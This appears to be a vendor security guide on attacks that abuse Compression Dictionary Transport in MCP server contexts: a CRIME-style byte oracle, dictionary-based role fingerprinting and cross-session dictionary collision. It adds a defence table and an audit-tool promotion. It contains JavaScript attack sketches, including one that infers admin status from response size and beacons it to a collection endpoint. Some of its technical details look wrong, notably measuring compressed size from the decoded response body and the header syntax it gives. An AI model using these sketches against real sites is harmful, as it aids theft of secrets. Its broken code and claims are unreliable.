Security Guide
MCP server Compression Dictionary Transport security — dictionary-driven CRIME oracle, poisoned shared dictionary, cross-session namespace collision
Compression Dictionary Transport (Chrome 117+, the Use-As-Dictionary response header spec) extends HTTP compression by allowing the browser to use a previously fetched response as the compression dictionary for subsequent requests to the same origin. The design goal is bandwidth efficiency: a large static resource (a JavaScript bundle, a JSON schema) serves as the dictionary, and incremental updates compress to near-zero. The security problem: the dictionary is controlled by whoever controls the response, and in MCP server contexts that can mean attacker-controlled tool output. An attacker who can influence the content of a cached compression dictionary can use it to perform CRIME-style byte inference on subsequent compressed responses, fingerprint endpoint behavior via compressed size, and cause cross-session namespace collisions when dictionary IDs are shared between tool execution contexts.
Dictionary-driven CRIME oracle — pre-positioning content to infer response bytes
The original CRIME attack (2012) exploited TLS-level DEFLATE compression on HTTP headers by observing the compressed size of requests that included both attacker-controlled content and a target secret. BREACH (2013) moved the same attack to HTTP response bodies. Compression Dictionary Transport brings an equivalent primitive to JavaScript in a new form: the browser uses a previously-fetched resource as the zstd or brotli dictionary for a subsequent compressed fetch to the same endpoint.
If an MCP tool can influence the content of a response that the browser stores as a compression dictionary — via a tool output that causes the page to fetch a tool-controlled URL with Use-As-Dictionary response headers — then the tool has pre-positioned its chosen content as the LZ dictionary. On subsequent fetches to a same-origin endpoint that contains a secret (a CSRF token in a JSON response, an API key in a configuration response), the compressed size reveals whether the secret bytes match patterns in the attacker's dictionary. Byte-by-byte inference follows the same binary search approach as CRIME.
// Step 1: Attacker MCP tool causes the page to fetch a dictionary resource
// The server responds with Use-As-Dictionary: match="/api/v1/config"
// Browser caches this as the compression dictionary for /api/v1/config
fetch('/tool-output/dictionary-payload', {
// Tool causes this fetch by injecting a link preload or fetch() call
});
// Server response headers:
// Content-Type: application/octet-stream
// Use-As-Dictionary: match="/api/v1/config", match-dest=("document" "fetch")
// Content-Encoding: zstd
// The response body is the attacker's chosen dictionary content:
// e.g., "csrf_token": "AAAA..." then "csrf_token": "AAAB..." etc.
// This content becomes the compression dictionary for subsequent /api/v1/config fetches
// Step 2: Measure compressed size of the target endpoint
// The browser sends Accept-Encoding: zstd;d= on the next request
// The server compresses using the attacker's dictionary
// Bytes that match the dictionary compress smaller; non-matching bytes stay larger
async function inferSecret(targetPath, candidatePrefix) {
// Cause a fresh fetch of the target endpoint
const response = await fetch(targetPath, { cache: 'no-store' });
// Read the compressed size via Content-Length or by consuming the stream
// In practice: measure the number of bytes received before response completes
// Smaller = the attacker's dictionary prefix matched the response content
// Binary search over the candidate prefix space to infer bytes of the secret
// O(62 * secretLength) fetch operations for alphanumeric secrets
}
Compression Dictionary Transport + attacker-controlled dictionary content = CRIME in the browser. Any MCP tool that can cause the host page to fetch a URL with attacker-controlled response content and Use-As-Dictionary headers can pre-position a CRIME dictionary. The subsequent attack requires observing compressed response sizes, which is possible via fetch() stream byte counting on same-origin endpoints. Defense: never serve Use-As-Dictionary headers on endpoints that also receive tool-controlled request parameters.
Poisoned dictionary fingerprinting — identifying security-sensitive endpoint responses
A subtler attack does not try to recover specific secret bytes but uses the dictionary to fingerprint which of several known response variants a given endpoint returns. For example, an endpoint returns either {"role":"user"} or {"role":"admin"}. A dictionary pre-loaded with the string "role":"admin" will cause the admin response to compress significantly smaller than the user response when dictionary compression is active. The attacker does not need to infer byte-by-byte; they only need to distinguish two compressed sizes to determine the user's role.
// Fingerprinting via dictionary compression size discrimination
// Dictionary pre-loaded with known response variants
// Known responses to distinguish:
// Variant A (non-admin): {"role":"user","tier":"free","canExport":false}
// Variant B (admin): {"role":"admin","tier":"enterprise","canExport":true}
// Dictionary pre-positioned to contain Variant B string patterns:
// "role":"admin","tier":"enterprise","canExport":true
async function inferAdminStatus() {
// Fetch the permission endpoint — will be compressed using the attacker's dictionary
const start = performance.now();
const response = await fetch('/api/permissions', { cache: 'no-store' });
const buffer = await response.arrayBuffer();
const compressedSize = buffer.byteLength;
const elapsed = performance.now() - start;
// Admin response matches dictionary patterns → compresses to ~10-15 bytes
// Non-admin response doesn't match → compresses to ~45-50 bytes
const isAdmin = compressedSize < 25;
sendBeacon('/collect', JSON.stringify({ isAdmin, compressedSize }));
}
// This works even with HTTPS — compression happens server-side before encryption
// The attacker observes byte count after decryption, not the TLS stream
// No browser permission required beyond the ability to call fetch()
Dictionary namespace collision — cross-session information leakage
The browser identifies compression dictionaries by a hash of their content and the URL patterns they match. Dictionary storage is per-origin and per-profile, but not per-session or per-navigation. If two separate MCP tool execution sessions (e.g., a user running Tool A then Tool B for the same origin) share a browser profile, a dictionary registered by Tool A's output may be used for Tool B's requests. If Tool A's dictionary was designed to fingerprint Tool B's responses — by containing content that matches only Tool B's expected response patterns — then Tool A has achieved cross-session response inference without any direct communication channel between the two tool sessions.
// Cross-session dictionary collision attack // Session 1 (Tool A): registers a dictionary for the shared origin // Session 2 (Tool B): its requests are compressed using Tool A's dictionary without awareness // Tool A pre-registers dictionary via a fetch with Use-As-Dictionary response: // match="/api/tool-b/results", id="tool-a-spy-dict" // Dictionary content: Tool B's expected result patterns for known sensitive states // In Session 2 (Tool B execution, different browser navigation): // Browser sends: Accept-Encoding: zstd;d=// Server compresses Tool B's results using Tool A's dictionary // Tool A can later observe compressed sizes if it runs in the same origin context // Defense check: // Does your MCP server use Compression Dictionary Transport? // Are dictionary match patterns scoped to only your own tool's endpoints? // Does your server send Use-As-Dictionary on endpoints that return sensitive data?
| Attack | Mechanism | What it leaks | Defense |
|---|---|---|---|
| Dictionary-driven CRIME oracle | Attacker-controlled Use-As-Dictionary content | Byte-by-byte inference on same-origin API response secrets (CSRF tokens, API keys) | Never serve Use-As-Dictionary on endpoints with secret content; separate dictionary endpoints from data endpoints |
| Poisoned dictionary fingerprinting | Dictionary pre-loaded with known response variants | Role/permission/tier discrimination from compressed size binary | Use unique random padding in all JSON responses to break deterministic compression patterns |
| Cross-session namespace collision | Dictionary persists across browser navigations per profile | Cross-session response inference between independent tool execution contexts | Scope dictionary match patterns to narrow paths; use per-session nonce in dictionary IDs |
| Large dictionary decompression pressure | Megabyte dictionary stored in browser per origin | Storage exhaustion for the origin's IndexedDB/Cache API quota | Limit Use-As-Dictionary response size; set Expires header on dictionaries |
SkillAudit findings for Compression Dictionary Transport misuse
Audit your MCP server for Compression Dictionary Transport risks
SkillAudit checks for Use-As-Dictionary header placement, match pattern scope, and co-location with secret-bearing endpoints. Paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →